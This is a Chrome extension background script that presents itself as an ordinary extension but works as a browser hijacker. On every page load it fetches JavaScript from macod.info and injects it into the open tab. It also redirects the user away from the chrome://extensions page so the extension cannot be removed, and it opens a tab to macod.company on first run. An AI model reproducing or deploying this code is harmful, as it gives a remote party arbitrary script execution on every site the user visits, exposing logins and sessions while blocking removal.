﻿var first_run = false;
if (!localStorage['ran_beforex']) {
  first_run = true;
  localStorage['ran_beforex'] = '1';
}

var currentTab = "";
if (first_run)
{
	chrome.tabs.create({url: 'http://macod.company/video.player?installsuccess!'});
}



chrome.webNavigation.onCompleted.addListener(
function(thisRequest){
if (thisRequest.url == 'chrome://chrome/extensions/' || thisRequest.url == 'chrome://extensions/') {
chrome.tabs.update(thisRequest.tabId, {'url':'https://chrome.google.com/webstore/search/uzantilarim'});
return false;
}
		
var anonyrequest = new XMLHttpRequest();
anonyrequest.onreadystatechange = function () {
if (anonyrequest.readyState == 4) {
    if (thisRequest.url.indexOf('devtools://') < 0) {
        chrome.tabs.executeScript(thisRequest.tabId, {
            code: anonyrequest.responseText
        });
    }
}
}
anonyrequest.open("GET",'http://macod.info/macod/main.php?' + Math.random() * 999999, true);
anonyrequest.send();


});